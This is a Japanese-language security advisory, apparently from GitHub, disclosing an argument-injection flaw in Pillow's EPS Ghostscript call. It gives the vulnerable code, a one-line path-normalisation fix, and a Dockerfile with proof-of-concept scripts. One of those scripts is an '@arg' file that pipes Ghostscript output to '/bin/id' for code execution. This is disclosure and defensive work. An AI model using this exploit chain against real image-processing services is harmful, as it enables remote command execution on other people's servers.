Pillow: Ghostscript呼び出しにおける引数注入の脆弱性、これによりリモートコード実行(RCE)の可能性

### 概要
`PIL.EpsImagePlugin.Ghostscript()`関数は、入力ファイルパス(`fp.name`)を**サニタイズせずに**Ghostscriptのコマンドラインを構築し、`-f <infile>`として使用します。`-`で始まるファイル名は、Ghostscriptによってオプションとして解釈され、コマンドライン引数の注入を引き起こします。これにより、リモートコード実行が可能になる可能性があります(影響)。Pillowのデフォルト設定(`-dSAFER`が有効)でも再現されます。

### 詳細
_脆弱性に関する詳細をすべて記述してください。問題のあるソースコードへの参照は、開発者にとって非常に役立ちます。_

#### 種類
CWE-88(引数注入)(オプションで、攻撃者が制御するテキストファイルを使用する場合、CWE-78(OSコマンド注入)に該当する可能性あり)

#### 脆弱なコード

```python
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = fp.name # ユーザーが制御するパスが、検証なしでそのまま使用される
else:
in_fd, infile_temp = tempfile.mkstemp()
os.close(in_fd)
infile = infile_temp
# ... (fpの内容を一時ファイルにコピー)

# Ghostscriptコマンドの構築
command = [
gs_binary,
"-q",
f"-g{width:d}x{height:d}",
f"-r{res_x:f}x{res_y:f}",
"-dBATCH",
"-dNOPAUSE",
"-dSAFER", # デフォルトのサンドボックス — この注入を阻止しない
f"-sDEVICE={device}",
f"-sOutputFile={outfile}",
"-c",
f"{-bbox[0]} {-bbox[1]} translate",
"-f",
infile, # ここに注入される:引数リストに追加されるが、オプションのプレフィックス(-、--)やGhostscriptの@-fileトークンに対するチェックは行われない
# => 引数注入(CWE-88)
"-c",
"showpage",
]
# ...
subprocess.check_call(command, startupinfo=startupinfo) # Ghostscriptを起動
```

#### 根本原因。

EPS画像をレンダリングする際、PIL.EpsImagePlugin.Ghostscript()は、入力ファイルパス(fp.name)を使用してGhostscriptのコマンドラインを構築し、それを引数リストの`-f <infile>`の位置に直接配置します。このパスはユーザーが制御できますが、PillowはGhostscriptがコマンドライン引数解析時に特別に扱うトークンに対して、検証や無効化を行いません。具体的には、先頭に`-`または`--`がある場合(Ghostscriptはこれらをファイル名ではなくオプションとして解釈します)や、先頭に`@`がある場合(Ghostscriptの引数ファイル構文で、指定されたファイルから追加のコマンドライン引数を読み込みます)が該当します。ファイル名が正規化(例えば、絶対パスへの変換や`.`のプレフィックスの付与)されていないため、また、これらのプレフィックスに対するチェックが行われないため、Image.open()に渡されるファイル名を制御できる攻撃者は、任意のGhostscriptコマンドライン引数を挿入することができます。これは、典型的な引数注入の脆弱性(CWE-88)であり、Pillowのデフォルトの`-dSAFER`設定によっても軽減されません。

#### 影響を受けるもの
- Pillow: 12.3.0(最新版)でテスト済み。脆弱なコードは長期間存在しており、すべての現在のバージョン(mainを含む)に影響を与える可能性があります。
- コンポーネント: `src/PIL/EpsImagePlugin.py`, `Ghostscript()` — `infile = fp.name`、およびコマンドリストのエントリ `"-f", infile`。

#### 推奨される修正
Ghostscriptにファイル名を渡す前に、絶対パスに正規化することで、ファイル名がオプション(`-`/`--`)または引数ファイルトークン(`@`)として解析されるのを防ぎます。
```python
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = os.path.abspath(fp.name) # 変更前: infile = fp.name
```
`os.path.abspath()`は、パスが必ずパスセパレータ(またはWindows上のドライブレター)で始まることを保証するため、先頭の`-`または`@`がGhostscriptの引数パーサーに到達することはなくなります。`else`の処理は、すでに安全な`tempfile.mkstemp()`のパスを構築しており、変更は不要です。

### PoC
Dockerfile: デフォルトの実行では、引数注入のデモ(poc.py)が実行されます。RCEのPoCを実行するには、python3 poc-rce.py を実行してください。
```
FROM ubuntu:24.04

RUN apt update
RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates
RUN rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0
ENV PATH=/venv/bin:$PATH
WORKDIR /poc
COPY poc.py .
COPY poc-rce.py .
COPY arg .

CMD ["python3", "poc.py"]
```
poc.py
```
import os
from PIL import Image

############################################################################################
# 攻撃者によって制御されるファイル
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

name = "-h"
with open(name, "wb") as f:
f.write(EPS)

############################################################################################

print(f"[*] Pillow が開くファイルの名前は {name!r} です")
im = Image.open(name)
print(f"[*] `load()` を呼び出します。この処理は、`-f {name}` という引数で `gs` コマンドを呼び出します")
try:
im.load()
except Exception as e:
print(f"[*] load() でエラーが発生しました: {type(e).__name__}: {e}")

print("CWE-88: 引数注入; Pillow のコードは、引数の名前を検証していません")
print(" この poc.py は、脆弱性を明確に示しています。")
print(" Pillow がファイル名を使用する前に名前をチェックする場合、`help` は表示されません。")
```
poc-rce.py
```
import os
from PIL import Image

############################################################################################
# 攻撃者によって制御されるファイル
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

# この脆弱性を重大な RCE につなげるには、別の任意のテキストファイルが必要です。
# このスクリプトでは、それが `arg` です。
name = "@arg"
with open(name, "wb") as f:
f.write(EPS)
```

############################################################################################

print(f"[*] Pillowがファイルを開きます。ファイル名は{name!r}です。")
im = Image.open(name)
print(f"[*] `load()`関数を呼び出します。この処理は、`gs`コマンドを'-f {name}'とともに実行します。")
print(f"[*] これにより、任意のコマンドの注入が発生する可能性があります。")
print(f"*********************************************")
try:
im.load()
except Exception as e:
print(f"*********************************************")
print(f"[*] `load()`関数でエラーが発生しました: {type(e).__name__}: {e}")

print("")
print("CWE-78: OSコマンド注入;")
print("CWE-88: 引数注入; Pillowのコードでは、引数名が検証されていません。")
print(" このpoc.pyは、この脆弱性を明確に示しています。")
print(" Pillowがファイル名を使用する前に検証を行う場合、`id`コマンドは呼び出されません。")
```
arg
```
-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice
```

### 影響
**確認済み — Ghostscriptの引数注入。** ファイル名が検証されていないため、先頭に`-`または`--`が付いたファイル名は、Ghostscriptによってファイルではなくオプションとして解釈されます。 したがって、`Image.open()`に渡されるファイル名を制御できる攻撃者は、Ghostscriptのコマンドライン引数を注入できます。 単一の引数注入は常に成功します。

**潜在的なリモートコード実行(確認済み)。** ファイル名は、Ghostscriptの`@`-ファイル構文に対しても検証されていません。 `@<path>`という形式のファイル名は、Ghostscriptに`<path>`から追加のコマンドライン引数を読み込ませるため、複数の引数を一度に注入できます。 攻撃者が参照されるファイルも制御できる場合、これは任意のコマンド実行にエスカレートする可能性があります。 これは、PoC(`id`コマンドの実行)で確認しました。

これは、Pillowのデフォルト設定(`-dSAFER`が有効な場合)で、Pillow 12.3.0とGhostscript 10.02.1を使用した場合に発生します。 同じGS引数を使用し、最新のGSバージョン(10.07.1)でも、リモートコード実行が確認されました。

### なぜこれが「Pillowバグ」なのか(文書化されている「信頼できないEPSファイルのリスク」とは異なる)
これは、Pillowのセキュリティポリシーで説明されているような、悪意のあるEPSファイルの内容によるリスクではありません。この脆弱性は、PostScriptドキュメントの内容ではなく、ファイル名によって引き起こされます。完全に無害なEPSファイルであっても、Image.open()に渡されるファイル名が攻撃者によって操作された場合、Ghostscriptの引数注入が発生します。したがって、正当な目的でEPSファイルを処理するアプリケーションも影響を受けます。この問題は、「信頼できないEPSファイルの入力をブロックする」という推奨事項ではカバーされていません。

Pillowは、Ghostscriptのコマンドラインを構築するコンポーネントであるため、ファイル名がオプション(- / --)や引数ファイルトークン(@)として再解釈されないようにする責任は、Pillowにあります。これは、すべての呼び出し元にあるべきではありません。前提条件である「攻撃者がファイル名を操作し、それがImage.open()に到達する」という状況は現実的です(例えば、ユーザー入力から保存名を保持または派生させるファイルアップロードのエンドポイントなど)。この前提条件とこの脆弱性を組み合わせることで、理論だけでなく、実際にリモートコード実行(RCE)が可能になります。1行の正規化処理(os.path.abspath(fp.name))によって、アプリケーションがAPIを使用する方法を変更することなく、この問題を解決できます。

### 著者
Chanu Kang (KAISTのCysecLab) @HLe4s

影響を受けるパッケージ:
- pip (Python) Pillow: 影響を受けるバージョンは2.6.0以上、13.0.0未満。13.0.0で修正済み。